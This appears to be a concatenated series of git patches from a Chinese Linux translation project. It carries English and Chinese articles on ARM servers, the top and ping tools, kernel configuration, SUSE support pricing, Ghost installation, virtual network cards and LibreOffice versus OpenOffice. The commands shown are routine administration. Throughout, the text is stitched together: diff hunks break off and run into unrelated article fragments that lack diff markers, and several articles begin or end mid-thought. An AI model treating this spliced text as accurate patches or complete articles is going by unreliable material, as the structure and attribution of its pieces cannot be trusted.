+另一个问题是还没标准化的32位ARM处理器被的外部设备支持。Masters说，LEG正在考虑使用64位ARM处理器的ACPI（高级配置和电源接口）标准或UEFI（统一可扩展固件接口）。随着时间的推移，ARM将提供一个自动化类总线能力，比如将提供支持x86的机器的PCI总线。 + +Masters说，Red Hat还没有发布任何关于什么时候会发布一个ARM架构的Red Hat企业Linux版本的通知，但他明确指出，测试了许多RHEL应用程序的社区Linux发行版Fedora项目，现在已经为ARM提供了一个分布。 + +-------------------------------------------------------------------------------- + +via: http://www.computerworld.com/s/article/9243921/Red_Hat_prepares_for_64_bit_ARM_servers?taxonomyId=122 + +译者：[whatever1992](https://github.com/whatever1992) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linaro.org/ + From d4b9feb63f4e7e42d113703c51eee52534d60a83 Mon Sep 17 00:00:00 2001 From: Linux-pdz Date: Sat, 16 Nov 2013 12:40:39 +0800 Subject: [PATCH 090/402] toLinux --- ...g different styles of corporate control.md | 25 +++++++++++-------- 1 file changed, 15 insertions(+), 10 deletions(-) diff --git a/sources/Ubuntu vs. openSUSE--Weighing different styles of corporate control.md b/sources/Ubuntu vs. openSUSE--Weighing different styles of corporate control.md index 7d2736a7bd..aa20462f6e 100644 --- a/sources/Ubuntu vs. openSUSE--Weighing different styles of corporate control.md +++ b/sources/Ubuntu vs. openSUSE--Weighing different styles of corporate control.md @@ -1,19 +1,24 @@ -翻译中 by Linux-pdz -Ubuntu vs. openSUSE: Weighing different styles of corporate control -================================================================================ -*Ubuntu and openSUSE approach their Linux distros in much different ways.

The key difference there being that SUSE has a commercial offering in the form of "SUSE Linux Enterprise." And, while there is a great deal of technical overlap between openSUSE (the community Linux distro) and SUSE Linux Enterprise (the commercial offering)...the two are not, technically, the same. Which means that SUSE, as a company, can afford to take a more “hands-off” approach to working with openSUSE. Sure, they have a vested interest in seeing key bits of technology (such as, say, Btrfs) be improved, tested and packaged with the community distro – as they may wish to include it in the commercial offering – but the separation between the community and commercial systems provides them with a bit more flexibility, in this regard, than Canonical presently has.

Unfortunatly, the output of top can easily be misinterpreted if you do not have a good understanding of the different fields of data presented. - -I'm not going to go through the [man page][2] for top, when you have the time and inclination it is always there waiting for you.

The load average is computed based on a number of statistics gathered, but can generally be thought of as the amount of work the CPU is being asked to do. If your machine has a single CPU core, than a load average of one would mean that the machine was perfectly loaded and had sufficient power to accomplish all tasks during the time it was sampled. Likewise, if the load average is two, the single CPU machine was overloaded, and would have needed two available cores to accomplish the work it was being asked to do in the same amount of time. With todays 8, 16, and 32 core servers shipping, I need to think twice when considering the load average. If I need to check, I press "1" in top, which will drop down a list of all CPU cores so I can get a quick count for comparison. - -The second item I check is the first process listed, and the ninth column over, labled "%CPU". The explanation for this column is novel: - -> The task's share of the elapsed CPU time since the last screen update, expressed as a percentage of total CPU time. In a true SMP environment, if 'Irix mode' is Off, top will operate in 'Solaris mode' where a task's cpu usage will be divided by the total number of CPUs. You toggle 'Irix/Solaris' modes with the 'I' interactive command. - -Clear as mud, right? The main idea to keep in mind is that if a single process has gone berzerk for one reason or antoher, it will probably show up listed first in top, with a rather extreme number for %CPU. - -The next area I glance at is the "Cpu(s):" line, in the center of the header block. Specifically, I'm interested in the %us, which is user processes, %sy, for system processes, %id, which is idle time, and %wa, which is the percent of time the CPU had processes that were waiting on a response from an I/O stream to execute. This percentage should always be close to zero, and anything higher than 5% should be looked at closer. - -Lastly, I like to check the system up time, shown in the top left hand corner. If I'm having problems with a server, and the server was recently rebooted, there may be a correlation there, perhaps a daemon that didn't start. - -All of these checks take only a few seconds. I may leave top running for a few minutes and watch the processes, CPU, and load if I'm just observing, but normally I'm in and out of top fairly quickly. Top is one of those fantastic sysadmin tools that is built to give you a quick overview of the health of your system, and allow you to quickly diagnose potential problems. -

The ping utility is used to test the reachability of a host on an Internet Protocol (IP) network. Its names comes from the active sonar method which is used to create a pulse of sound (ping) under the water and listening to echo requests from surrounding objects. This method is the best way to explain how the network ping utility works. The ping utility sends echo requests to a host and waits for an ICMP response. - -Some Examples Of The ping Utility In Practice: - -### Find Out The Ip Address Of A Host ### - -Sometimes you need the ip address of a host, you can use the ping tool like shown in Figure 1. Just type the ping command and after it type the hostname. - - ping www.omgubuntu.com - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping1.png) - -### Find Out The Version Of The ping Utility You Are Using ### - -The -V flag can be used to find out which version of the ping tool you have.

When using the -c option, after the number of packets specified by the network admin (user whatever) is sent, the pinging process stops automatically instead of pressing CTRL+C. - - ping -c 13 127.0.0.1 - -The above command is used to send 13 packets to my localhost. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping3.png) - -As you can see from Figure 3 i did not press CTRL+C to exit pinging,it stopped automatically. - -### Specify The Interval Between Packets ### - -Did you know that ping sends a packet every second? Do you like to speed up or slow down? The -i option can be used to specify the interval between packets. Use the following commands to send packets very fast or very slow. - -### Send A Packet Every 0.13 Seconds ### - - ping -i 0.13 -

+下一个可以配置的特性是x86的随机数生成器(x86 architectural random number generator (ARCH_RANDOM))。记住，我们现在配置的是针对AMD64系统的内核代码。这个随机数生成器使用Intel x86的RDRAND指令。这并不通用，所以为了一个更轻量的内核我禁用了它。 + +接着，我们可以启用或者禁用"Supervisor Mode Access Prevention (X86\_SMAP)"。这是Intel处理器使用的安全特性。SMAP在一些条件下只允许内核访问用户空间。这个有助于保护用户空间。如果启用，这里有一点性能和内核大小的开销，但是开销很小。由于我是用的是AMD系统，所以我禁用了这个特性。 + +开发者可以启用"EFI runtime service support (EFI)"。只有在有EFI固件的系统上启用它。拥有这个特性，内核可以使用的EFI服务。EFI是一个操作系统和硬件如何交流的规范，所以EFI固件是使用这个规范的硬件代码。因为我没有EFI固件，所以我禁用了它。 + +这是一个应该被启用的有用的安全方式(Enable seccomp to safely compute untrusted bytecode (SECCOMP))。这个安全特性在使用非可信的字节码的数值计算(执行大量计算的软件)中使用。字节码(可移植代码)是一种被解释器有效读取的代码。字节码不是源代码，但它也不是汇编或者二进制代码。非可信的代码是一种可能导致系统/数据损坏的代码。可能会破坏系统或者毁坏数据的非可信的代码通过seccomp被隔离在独立的地址空间中。这是通过文件描述符传输的方法。通常上，最好启用这个安全特性，即使会有一些性能开销，除非你在制作一个需要榨干性能的内核。 + +这里是另外一个安全特性(Enable -fstack-protector buffer overflow detection (CC\_STACKPROTECTOR))。缓冲溢出是数据被写在超出了它的内存界限而进入了邻近的内存中。这是一个安全威胁。一些恶意软件使用缓冲区溢出来破坏系统。启用这个会使用GCC选项 "-fstack-protector"。GCC是一个Linux编译器，在你配置完成后用它来编译内核。这个编译器参数会在返回地址前在栈上加入一个canary值(特殊的安全代码)。这个值会在返回前被验证。当内存溢出发生时，canary值会得到覆盖消息。这时，会导致内核崩溃。如许多人知道的那样，内核错误意味着系统将要崩溃，但是这比系统被入侵或者数据永久损害的好。发生内核错误，系统会重启，但是如果缓冲溢出则可能导致系统被入侵。一个简单的重启无法修复破坏（译注：但也不会更坏）。你必须用GCC 4.2或者更高版本支持这个参数的GCC来编译内核。 + +提示：要知道你使用的版本号，在命令行内键入"gcc --version"。 + +在这之后，我们可以配置定时器频率。配置工具建议使用250Hz，所以我们使用这个值。 + +Timer frequency + +1\. 100 HZ (HZ\_100) + +\>2\. 250 HZ (HZ\_250) + +3\. 300 HZ (HZ\_300) + +4\. 1000 HZ (HZ\_1000) + +choice[1-4?]: 2 + +使用1000Hz通常来讲对许多系统而言太快了。定时器频率决定着定时器中断被使用的频率。这有助于在时间线上的系统操作。程序并不是随机地执行一条命令，相反它们会等到定时器中断结束。这保持着有组织和结构的处理。频率为100Hz的定时器中断之间的时间是10ms，250Hz是4ms，1000Hz是1ms。现在许多开发者会马上想到1000Hz是最好的。好吧，这取决于你对开销的要求。一个更大的定时器频率意味着更多的能源消耗和更多的能源被利用(在定时器上)，产生更多的热量。更多的热量意味着硬件损耗的更快。 + +注意：如果某个特定的特性对你并不重要或者你不确定该选择什么，就使用配置工具选择的默认值。比如，就我现在正在配置的内核而言，使用哪个定时器对我并不重要。总的来说，如果你没有特别的原因去选择任何一个选项时，就使用默认值。 + +下面这个有趣的系统调用可能会对一些用户有用(kexec system call (KEXEC))。kexec调用会关闭当前内核去启动另外一个或者重启当前内核。硬件并不会关闭，并且这个调用可以无需固件的帮助工作。bootloader是不执行的(bootloader是启动操作系统的软件) 。这个重启发生在操作系统级别上而不是硬件上。使用这个系统调用会快于执行一个标准的关机或者重启，这会保持硬件在加电状态。这个系统调用并不能工作在所有系统上。为了更高性能，启用这个热启动功能。 + +为了使用kexec，对重启后要使用的内核使用如下命令替换""。同样，使用之前我们讲过的内核参数替换"" (我会在以后的文章中更深入的讨论。) + + kexec -l --append="” + +特别地，我这里输入： + + kexec -l /boot/vmlinuz-3.8.0-27-generic –append="root=/dev/sda1" + +注意：硬件有时不需要重置，所以这不依赖于kexec。 + +下面，我们有一个适用于kexec的调试特性(kernel crash dumps (CRASH\_DUMP))。当kexec被调用时，一个崩溃信息(crash dump)会生成。除非你有必要调试kexec，否则这个并不必要。我禁用了这个特性。 + +再者，我们有另外一个kexec特性(kexec jump (KEXEC_JUMP))。kexec跳允许用户在原始内核和kexec启动的内核之间切换。 + +最好对内核启动地址使用默认值(Physical address where the kernel is loaded (PHYSICAL\_START) [0x1000000])。 + +下一个内核选项(Build a relocatable kernel (RELOCATABLE))允许内核放在内存的任何地方。内核文件会增大10%，但是超出部分会在执行时从内存移除。许多人也许想知道这为什么很重要。在2.6.20内核前，救援内核(rescue kernel)必须被配置和编译运行在不同的内存地址上。当这个特性发明后，开发者不必再编译两个内核。救援内核不会在第一个已加载的内核的地方加载，因为该块内存已被占用或者发生了错误。(如果你正在使用救援内核，那么明显第一个内核发生了错误) + +下面这个特性应该在可以增加CPU数量的系统中启用，除非你有特别的理由不去这么做(Support for hot-pluggable CPUs (HOTPLUG\_CPU))。配置工具会自动启用这个特性。在这个特性下，你可以在一个拥有很多处理器的系统上激活/停用一个CPU，这并不是说在系统中插入新的CPU，所有的CPU必须已经安装在系统中。 + +下面的选项会让我们选择设置上面的特性是否默认启用(Set default setting of cpu0_hotpluggable (BOOTPARAM\_HOTPLUG\_CPU0))。为了性能最好禁用这个特性直到需要的时候。 + +接着的这个调试特性允许开发者调试CPU热插拔特性(Debug CPU0 hotplug (DEBUG\_HOTPLUG\_CPU0))。我禁用了它。 + +为了兼容旧版本的glibc(<2.3.3)，可以启用这个特性(Compat VDSO support (COMPAT\_VDSO))。这适用于通过映射32位在VDSO(虚拟动态链接共享对象)的旧式地址。Glibc是GNC C库；这是GNU工程实现的C标准库。 + +如果系统内核被用于一个缺乏完整功能的bootloader上，那么启用这个特性(Built-in kernel command line (CMDLINE_BOOL))。这允许用户在内核自身上使用一条命令行（译注：及其参数），那么管理员可以修复内核问题。如果bootloader已经有了一条命令行(像grub)，那么这个特性不必启用。 + +现在我们可以配置ACPI和电源了。首先,我们被要求选择系统是否可以挂起到内存(Suspend to RAM and standby (SUSPEND))。高级配置和电源接口(ACPI)是一种对于设备配置和电源管理的开放标准。挂起系统会将数据放在内存上，同时硬件进入一种低功耗的状态。系统不会完全关机。如果用户需要计算机进入一个低功耗的状态，但是希望保留当前已打开程序时是非常有用的。关闭一个系统会完全关闭系统电源并且清理内存。 + +下面，我们可以启用睡眠(Hibernation (aka 'suspend to disk') (HIBERNATION))。睡眠就像挂起模式，但是内存中所有数据被保存到硬盘上，并且设备完全关闭。这允许用户在电源恢复后继续使用他们已打开的程序。 + +这里,我们可以设置默认的恢复分区(Default resume partition (PM\_STD\_PARTITION))。很少有开发者和管理员需要这个特性。当系统从睡眠中恢复时，他会加载默认的恢复分区。 + +在这之后,我们可以启用"Opportunistic sleep (PM\_AUTOSLEEP)"。这会让内核在没有活跃的唤醒调用被调用时进入挂起或者睡眠状态。这意味着空闲的系统将会进入挂起模式以节省电源。我启用了这个特性。 + +接下来，是询问关于"User space wakeup sources interface (PM\_WAKELOCKS)"。启用这个特性将会允许唤醒源对象被激活、停用，并通过基于sysfs接口由用户空间创建。唤醒源对象会追踪唤醒事件源。 + +sysfs是位于/sys/的虚拟文件系统。这个虚拟文件系统包含了关于设备的信息。当进入/sys/时，它似乎是硬盘的一部分，但是这个并不是一个真正的挂载点。这些文件实际存在于内存中。这与/proc/是同一个概念。 + +注意:"/sysfs/"是一个文件夹，而"/sysfs"则可以是一个根目录下名为"sysfs"的文件。许多Linux用户会混淆这两种命名约定。 + +如果启用了上面的选项,那么你可以设置"Maximum number of user space wakeup sources (0 = no limit) (PM\_WAKELOCKS\_LIMIT)"。最好选择默认，那么你就可以启用垃圾收集器(Garbage collector for user space wakeup sources (PM\_WAKELOCKS\_GC))。垃圾收集是一种内存管理方式。 + +注意: 在需要更多内存的系统中，通常最好在大多数情况下尽可能启用垃圾收集。不然内存会消耗得更快且杂乱。 + +下一个电源选项关于IO设备(Run-time PM core functionality (PM\_RUNTIME))。这个选项允许IO硬件在运行时进入低功耗状态。硬件必须支持这个才行，不是所有硬件都支持。 + +与其他许多内核组件一样，如果启用了(Power Management Debug Support)，电源管理代码同样有调试支持。我禁用了这个选项。 + +注意: 注意这些我引用/显示的配置工具上的选项或问题不再显示选项代码(括号间所有的大写字母)。这是因为我没有使用基于ncurses的配置工具(make menuconfig)而是使用默认工具去得到选项、设置和问题。记住，"make config"缺乏保存当前进度的能力。 + +在这之后,配置工具会启用"ACPI (Advanced Configuration and Power Interface) Support"。最好允许这个电源管理规范。通常配置工具会启用这个特性。 + +为了允许向后兼容，启用"Deprecated /proc/acpi files"。新的实现使用更新的在/sys下的实现。我禁用了这个选项。一个相似的问题询问关于"Deprecated power /proc/acpi directories"。通常上,如果你禁用了这些文件，你不再需要这些文件夹，所以我禁用了他们。一些旧的程序可能会使用这些文件和文件夹。如果你在给旧的的Linux系统上编译一个新的内核，最好启用这个选项。 + +下面，我们有另外一个文件接口可以启用或者禁用(EC read/write access through)。这会在/sys/kernek/debug/ec下创建一个嵌入式控制器接口。嵌入式控制器通常在笔记本中读取传感器，内核代码通过系统的BIOS表提供的ACPI代码访问嵌入式控制器。 + +这里有另外一个可以启用或者禁用的向后兼容特性 (Deprecated /proc/acpi/event support)。acpi守护进程可能会读取/proc/api/event来管理ACPI生成的驱动。不同于这个接口，守护进程使用netlink事件或者输入层来得到送给用户空间的事件，acpi守护进程管理ACPI事件。 + +下一个选项允许开发者启用一个特性，它会通知内核现在使用的是交流电源(AC Adapter)还是电池。下一个选项从/proc/acpi/battery/ (Battery)中提供电池信息。 + +为了内核在电源/睡眠按钮按下或者盖子合上时不同表现，启用这个“按钮”选项(Button)。这些事件在/proc/acpi/event/中控制。比如这样的行为，如果在用户账户的电源选项启用了挂起，当笔记本电脑的盖子关闭后系统将会挂起。 + +下一个ACPI扩展是针对显卡的(Video)。 + +ACPI风扇控制可以被启用/禁用(Fan)。最好启用ACPI风扇管理，这有助于节能。 + +我们正在进一步配置内核中，但在接下来的文章中还有更多要做。 + +-------------------------------------------------------------------------------- + +via:

Suse sells open-source Linux software to businesses. - -Suse offers different packages for extended support. Extending the support to 13 years will cost US$60,000 for up to 100 servers and $80,000 for up to 500 servers, said Pfeifer. Support for an unlimited number of servers can be extended for $125,000 he said, adding that these are standard prices that Suse has been using for several years. - -By moving from a seven-plus-three-year support cycle to a 10-plus-three-year support cycle, customers get more time under general support, Brauckmann said during his keynote.

CentOS, an Enterprise Linux distribution that is based on a rebuild of RHEL, has also been offering 10-year support as a standard for a while. - --------------------------------------------------------------------------------- - -via: http://www.itworld.com/operating-systems/382610/suse-linux-enterprise-expands-regular-support-10-years - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.youtube.com/watch?v=T0W4izFu_WM \ No newline at end of file diff --git a/translated/Suse Linux Enterprise expands regular support to 10 years.md b/translated/Suse Linux Enterprise expands regular support to 10 years.md new file mode 100644 index 0000000000..4633d11733 --- /dev/null +++ b/translated/Suse Linux Enterprise expands regular support to 10 years.md @@ -0,0 +1,26 @@ +Suse Linux 主流支持到10年 +================================================================================ +**Suse在客户的要求下扩展了主流支持** + +Suse Linux Enterprise (SLE)(11版)及以后的版本将会迎来10年的主流支持和而不是现在的7年，此举是为了匹配竞争对手的服务。 + +尼尔.布劳克曼,Suse的总裁和总经理，在佛罗里达的维斯塔湖举办的Suse 2013会议上的发言说："我们将进入一个新的Suse Linux Enterprise支持周期。"这个主题演讲的[视频][1]已经被放到了YouTube上。 + +杰拉尔德.普法伊费尔,Suse产品管理和操作的高级领导，在周三的一封邮件中说："Suse Linux Enterprise 11是首个收到10年主流支持的主要版本和3年的扩展支持(LTSS)。我们也考虑向前推进这个新的Suse Linux Enterprise的支持周期，同样包含了12版。"Suse售卖开源Linux软件给企业。 + +普法伊费尔说:"Suse提供不同的包用于扩展支持。扩展支持到13年将花费$60,000用于100台服务器或者$80,000用于500台服务器。对于无限太的服务器将会扩展到$125,000."他还说这些标准价格已经用了好几年了。 + +布劳克曼在他的主题演讲中说:"从一个7加3年的支持周期到10加3年的支持周期，可以会有更多时间的主流支持。"他还说:"这个决定是在几周前在客户的反映下做出的。" + +Suse的主流支持延长是随着Red Hat的在去年1月的行动，将 Red Hat Enterprise Linux (RHEL) 5和6的生命周期延长到10年，是响应了客户的需求。 + +基于RHEL的Oracle Linux，去年2月将支持周期从8年延长到10年。基于Enterprise Linux的重编译版本的CentOS，同样将支持周期延长到10年有一段时间了。 +-------------------------------------------------------------------------------- + +via: http://www.itworld.com/operating-systems/382610/suse-linux-enterprise-expands-regular-support-10-years + +译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.youtube.com/watch?v=T0W4izFu_WM \ No newline at end of file From 481a5d6991ef972e035128a9b2d89e7149586baa Mon Sep 17 00:00:00 2001 From: DeadFire Date: Tue, 19 Nov 2013 11:06:16 +0800 Subject: [PATCH 116/402] =?UTF-8?q?20131119-1=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...ate Virtual Network Cards In Ubuntu Linux.md | 41 +++++++++ ...Classic Menu？ Get Classic Menu Indicator.md | 35 ++++++++ ...nstall Ghost blogging platform on Linux.md | 89 +++++++++++++++++++ 3 files changed, 165 insertions(+) create mode 100644 sources/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md create mode 100644 sources/Daily Ubuntu Tips–Like GNOME Classic Menu？ Get Classic Menu Indicator.md create mode 100644 sources/How to install Ghost blogging platform on Linux.md diff --git a/sources/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md b/sources/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md new file mode 100644 index 0000000000..79b5be507a --- /dev/null +++ b/sources/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md @@ -0,0 +1,41 @@ +Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux +================================================================================ +This tutorial is for users who want to experiment a bit with Ubuntu Linux. It not for everyone, especially those with machines that are used in production. + +If you know a thing or two about networking and IP networks, then you know that in most cases, each network card will only be assigned one IP address. It’s a one to one thing and that’s what we’re used to. + +The thing with one network card and one IP address is, you can only host or run in single network service/port on a machine with one nic card and IP address. For example, if you wish to run a web server, on port 80, only one web server will listen on that one IP address and that port #. That’s how it’s designed to work. + +So, instead of the one-to-one relation with network cards and IP addresses, you can create virtual network cards that can be assigned individual IP addresses. So, a single physical network card can host unlimited sub-nic cards or virtual nic. Each can then be assigned their own IP addresses with assigned ports. + +This brief tutorial is going to show you how to do that in Ubuntu. It’s a great way to run and test multiple network services with single port # on a single computer with one network card. + +To get started, run the commands to open the network interfaces file. + + sudo gedit /etc/network/interfaces + +Then add as many virtual network cards as you want by following the steps in the picture below.

While WordPress is still the dominant blogging tool on the web, it has now evolved into a general content management platform with tons of third party developed features, and over time has become increasingly cumbersome and complex to maintain. On the other hand, now only a couple of months old, Ghost promises to remain as a pure blogging platform with slick user-centric publishing interface. + +In this tutorial, I will describe **how to set up Ghost blogging platform on Linux**. + +### Install Ghost on Linux ### + +Ghost is powered by Node.js. Therefore, first [install Node.js][3] on your Linux system. Make sure that the version of Node.js is 0.10 or higher. + +Next, log in to [http://ghost.org][1] (sign-up needed), and download the source code of Ghost. Then follow the procedure below to install Ghost. + + $ sudo mkdir -p /var/www/ghost + $ sudo unzip ghost-0.3.3.zip -d /var/www/ghost + $ cd /var/www/ghost + $ sudo npm install --production + +### Configure Ghost Before Launching ### + +Before launching Ghost, create its configuration file located at /var/www/ghost/config.js as follows. Replace "YOUR_IP" with the IP address of your host. + + $ cd /var/www/ghost + $ sudo cp config.example.js config.js + $ sudo sed -i 's/127.0.0.1/YOUR_IP/g' config.js + +### Test-Run Ghost in Development Mode ### + +At this point, you are ready to launch Ghost. + +Note that Ghost can run in two different modes: "development" and "production" modes. For safety, Ghost maintains configuration info of two modes separately in its configuration file (/var/www/ghost/config.js). For example, the two different modes use different database files (i.e., ghost-dev.db and ghost.db located in /var/www/ghost/content/data). + +Use the following commands to launch Ghost. Ghost runs in development mode by default. + + $ cd /var/www/ghost + $ sudo npm start + +If Ghost is launched successfully, you should see the following output in the terminal, indicating that Ghost is running on :2368. + +[![](http://farm8.staticflickr.com/7317/10881189204_d714f11321_z.jpg)][4] + +Go to http://:2368 on your web browser, and verify that you can see the following initial Ghost page. + +[![](http://farm4.staticflickr.com/3750/10881348733_f77d220de6_z.jpg)][5] + +### Launch Ghost in Production Mode ### + +After you have verified that Ghost runs okay, stop Ghost in development mode by pressing Ctrl+C. Now it is time to launch Ghost in production mode. + +When you run Ghost in production mode, you can use Node.js module called forever, which allows you to daemonize Ghost, and run it as a background process. + +To install forever module: + + $ sudo npm install forever -g + +Finally, launch Ghost in production mode as follows: + + $ cd /var/www/ghost + $ sudo NODE_ENV=production forever start index.js + +Verify that Ghost's database is successfully created in production mode (/var/www/ghost/content/data/ghost.db). + +You can also check a list of active forever processes. + + $ sudo forever list + +> info: Forever processes running +> data: uid command script forever pid logfile uptime +> data: [0] cH0O /usr/bin/nodejs index.js 15355 15357 /home/dev/.forever/cH0O.log 0:0:0:37.741 + +If you see output like the above, it means that Ghost is running in the background successfully. + +To stop Ghost daemon, run the following command. + + $ cd /var/www/ghost + $ sudo forever stop index.js + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/11/install-ghost-blogging-platform-linux.html + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://ghost.org/ +[2]:http://www.kickstarter.com/projects/johnonolan/ghost-just-a-blogging-platform +[3]:http://ask.xmodulo.com/install-node-js-linux.html +[4]:http://www.flickr.com/photos/xmodulo/10881189204/ +[5]:http://www.flickr.com/photos/xmodulo/10881348733/ \ No newline at end of file From fca8d1fd6da369442894d418794f3042ddfc57d9 Mon Sep 17 00:00:00 2001 From: DeadFire Date: Tue, 19 Nov 2013 13:39:12 +0800 Subject: [PATCH 117/402] =?UTF-8?q?20131119-2=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...esser Known Commands for Linux – Part 3.md | 234 ++++++++++++++++++ ...c Linux Interview Questions and Answers.md | 101 ++++++++ 2 files changed, 335 insertions(+) create mode 100644 sources/10 Lesser Known Commands for Linux – Part 3.md create mode 100644 sources/11 Basic Linux Interview Questions and Answers.md diff --git a/sources/10 Lesser Known Commands for Linux – Part 3.md b/sources/10 Lesser Known Commands for Linux – Part 3.md new file mode 100644 index 0000000000..8190c8329d --- /dev/null +++ b/sources/10 Lesser Known Commands for Linux – Part 3.md @@ -0,0 +1,234 @@ +10 Lesser Known Commands for Linux – Part 3 +================================================================================ +![](http://www.tecmint.com/wp-content/uploads/2013/11/10-Lesser-Known-Linux-Commands.png) + +We have come up with the third article of this series which includes few other lesser known Linux commands, worth knowing.

+在传授一些关于ping工具真实大观的实例前,先让我来解释一下这个命令行工具及其目的.ping工具通常用来测试一台主机在互联网协议(IP)网络内的连通性.其名字源于主动声纳法,这是用来在水下创建一个脉冲声音(ping)并遇到周围的对象而返回信号.用这个方法是对ping网络工具最通俗易懂的解释.ping工具对一台主机发送回应请求然后等待ICMP响应. + +用于实践ping工具的一些例子: +

+================================================================================ + +在大多数情况下,你无需担心你电脑的温度.除非制造缺陷,设计硬件一般都不会超过最大的工作温度.但即使没有任何硬件故障,各样的软件问题也会导致硬件过热,例如,显卡驱动的大量bug,错误风扇控制程序配置,CPU频率调节守护进程的故障,等. +

For the last few years, almost all Linux distributions have included LibreOffice as their default office suite. However, in the past eighteen months, OpenOffice has reappeared, newly organized into an Apache project, and free software users now have the choice of two full-featured suites instead of one. - -Users also have the difficulty of deciding between two almost-identical choices. The two diverged three years ago, and while that can be a long period in software development, in this case, the differences are only starting to become obvious. While considerable cleanup has gone on behind the scenes, the feature sets and underlying logic in both has mutated in only minor ways from the days of OpenOffice.org. - -Here and there, you can find new features in the individual applications, especially in the Writer word processor. However, most of the differences are at a higher level, in support for formats and fonts, the policy towards extensions, and, most of all, in the efforts to modernize and standardize the interface. - -### Differences in the Apps ### - -Most of the features in LibreOffice's and OpenOffice's applications are the same. In Draw, there appear to be no difference at all. In Impress, the main difference is that LibreOffice's latest release includes support for controlling a slide show from an Android device. And although the selection of slide backgrounds differs between the two, either selection should be adequate unless you are looking for a favorite. Similarly, the greatest difference between the two versions of the Calc spreadsheet is that, in LibreOffice's, you can create data forms. - -Even in Writer, the most popular application, the differences are generally in a minor key. In LibreOffice, the status bar at the bottom of the editing window now includes a word and character count. In addition, LibreOffice's comments can be anchored to paragraphs rather than a single point, and, in a correction of a longstanding bug, in footnotes now display besides the text to which they refer. LibreOffice also adds a simplified Find field, similar to one in a web browser, while omitting the option to insert a graphical horizontal line -- a feature that few must have used for the last decade or more. - -### Formats and Fonts ### - -Some of the more noticeable differences fall under the category of format and font support. For instance, OpenOffice continues to support saving to formats that have gone out of fashion, such as AportisDoc (Palm) and Pocket Word. It can open .docx files, but, unlike LibreOffice, not save to it. - -LibreOffice also has the advantage in font support. The latest version supports OpenType, the preferred format for modern fonts because of its support for multiple languages and advanced typography. Even more importantly, by going to File -> Properties -> Fonts, you can embed fonts into the document, eliminating with a single click the need to ensure font compatibility. - -Such features give LibreOffice a decided edge when exchanging files with Microsoft Office users. In general, neither OpenOffice nor LibreOffice interact best with Microsoft formats when a document is mostly text and contains a minimum of tables, draw objects, and complex formatting. In both, for example, you are best off sharing something like a brochure in .PDF format rather than the native Open Document Format. - -However, if you do exchange native and Microsoft formats, LibreOffice has some decided advantages. Not only does it both read and write to recent Microsoft formats, but its advantages in font handling removes any need for font subsitution -- a major cause of problems when exchanging files. While other problems remain, such as differences in feature implementation, LibreOffice should generally be the more reliable handler of Microsoft Office files. - -### Extension Policies ### - -Both OpenOffice and LibreOffice support well-rounded collections of extensions that can be downloaded and added in minutes to enhance or alter features. In most cases, an extension that works with one will work with the other. - -The difference is that, with LibreOffice, you don't have to install the most popular extensions. Instead, LibreOffice installs with them already enabled or integrated. These extensions include Lightproof, a basic grammar checker; Report Builder for summarizing and printing from data bases; Presentation Minimizer for reducing the size of presentations; Wiki Publisher for blogging, and Presentation Console for delivering slide shows, as well as a number of others. - -All these extensions are available for OpenOffice as well. The difference is that, with OpenOffice, you need to know about them and deliberately find them. Effectively, this limitation makes a number of features unavailable to new users. When OpenOffice (and LibreOffice) have made such efforts in recent releases to provide useful modern templates and clip art, this omission is a crippling oversight, especially when it is so easily corrected. - -### Interfaces in Transition ### - -In the twelve years that Sun Microsystems and Oracle have owned the OpenOffice.org code, the interface, like so many features, was almost entirely neglected. The result is that today, both OpenOffice and LibreOffice are suites with a healthy set of features, but interfaces that are generally stuck in the mid-1990s. Some superficial aspects have been removed, but far more remains to be updated. - -In the latest release, OpenOffice's efforts to overhaul the interface have been restricted largely to the sidebar, an feature that has to be specifically enabled in LibreOffice from Tools -> Options -> LibreOffice -> Advance, and is labeled as "experimental." - -The sidebar is a collection of features, primarily for manual formatting. Since this use comes at the expense of encouraging the use of styles, as the logic of the code intends, it is easy to dismiss. However, at its best, the sidebar is an immense simplification of some of the tabs for formatting characters and paragraphs, such as the Border tab in all applications, and the Format tab for spreadsheet cells. With luck, its re-conceptualization of controls will eventually find its way to the menus and style dialogue windows. - -LibreOffice has been even more adventuresome. For example, the task pane in Impress, while similar to the sidebar, summarizes most of the steps in slide design in the names of its tabs. - -But it is the Writer editing window where most of LibreOffice's interface improvements have taken place. A word and character count has been added to the status bar at the bottom of the window, and the cramped sub-menus for managing and editing templates have been replaced with a stream-lined interface in which buttons replace drop-down menus. - -Even more obvious, the main text frame has been reduced in LibreOffice to cross-hairs at the four corners. In the same way, headers and footers are invisible until you click where they should be, when four small right angles indicate their borders. - -A less successful effort is a tab in LibreOffice's editing window for managing headers and footers. Aside from the fact that the tab encourages manual formatting, it has the annoying habit of hiding part of the first line of a new page as it is typed. - -These efforts are far from complete, although LibreOffice has also rearranged options in a number of dialogue windows. At times, they make LibreOffice a disconcerting mixture of vintage interfaces and modern minimalism that can be disconcerting to move between. However, at least LibreOffice is trying to address the 